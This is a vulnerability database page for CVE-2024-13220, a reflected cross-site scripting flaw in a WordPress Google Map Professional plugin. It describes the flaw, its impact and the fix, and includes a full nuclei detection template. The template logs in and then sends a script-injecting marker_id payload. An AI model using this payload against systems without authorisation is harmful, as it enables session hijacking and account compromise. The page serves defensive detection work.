HexBrain

Browse / CVEs / CVE-2024-13220

CVE-2024-13220· pragmasoftwares / google map professional· CWE-79

WordPress Google Map Professional - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it

WordPress Google Map Professional (Map In Your Language) plugin through 1.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users such as admin, exploit requires victim to load a maliciously crafted URL.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or session hijacking.

Fix

Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=googlemarker-admin&marker_id=1"></script><script>alert(document.domain)</script><script>
Positive when: contains_all(body, "></script><script>alert(document.domain)</script><script>", "Edit Map") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-13220 -u <target>

The full check
id: CVE-2024-13220

info:
  name: WordPress Google Map Professional - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    WordPress Google Map Professional (Map In Your Language) plugin through 1.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users such as admin, exploit requires victim to load a maliciously crafted URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or session hijacking.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
  reference:
    - https://wpscan.com/vulnerability/33ef27b4-e88f-46ec-9b3f-0a3e16d6f82e/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13220
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13220
    cwe-id: CWE-79
    epss-score: 0.00597
    epss-percentile: 0.48914
    cpe: cpe:2.3:a:pragmasoftwares:google_map_professional:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: pragmasoftwares
    product: google_map_professional
  tags: cve,cve2024,google-map-professional,wordpress,wp,xss,wp-plugin,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=googlemarker-admin&marker_id=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "></script><script>alert(document.domain)</script><script>", "Edit Map")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from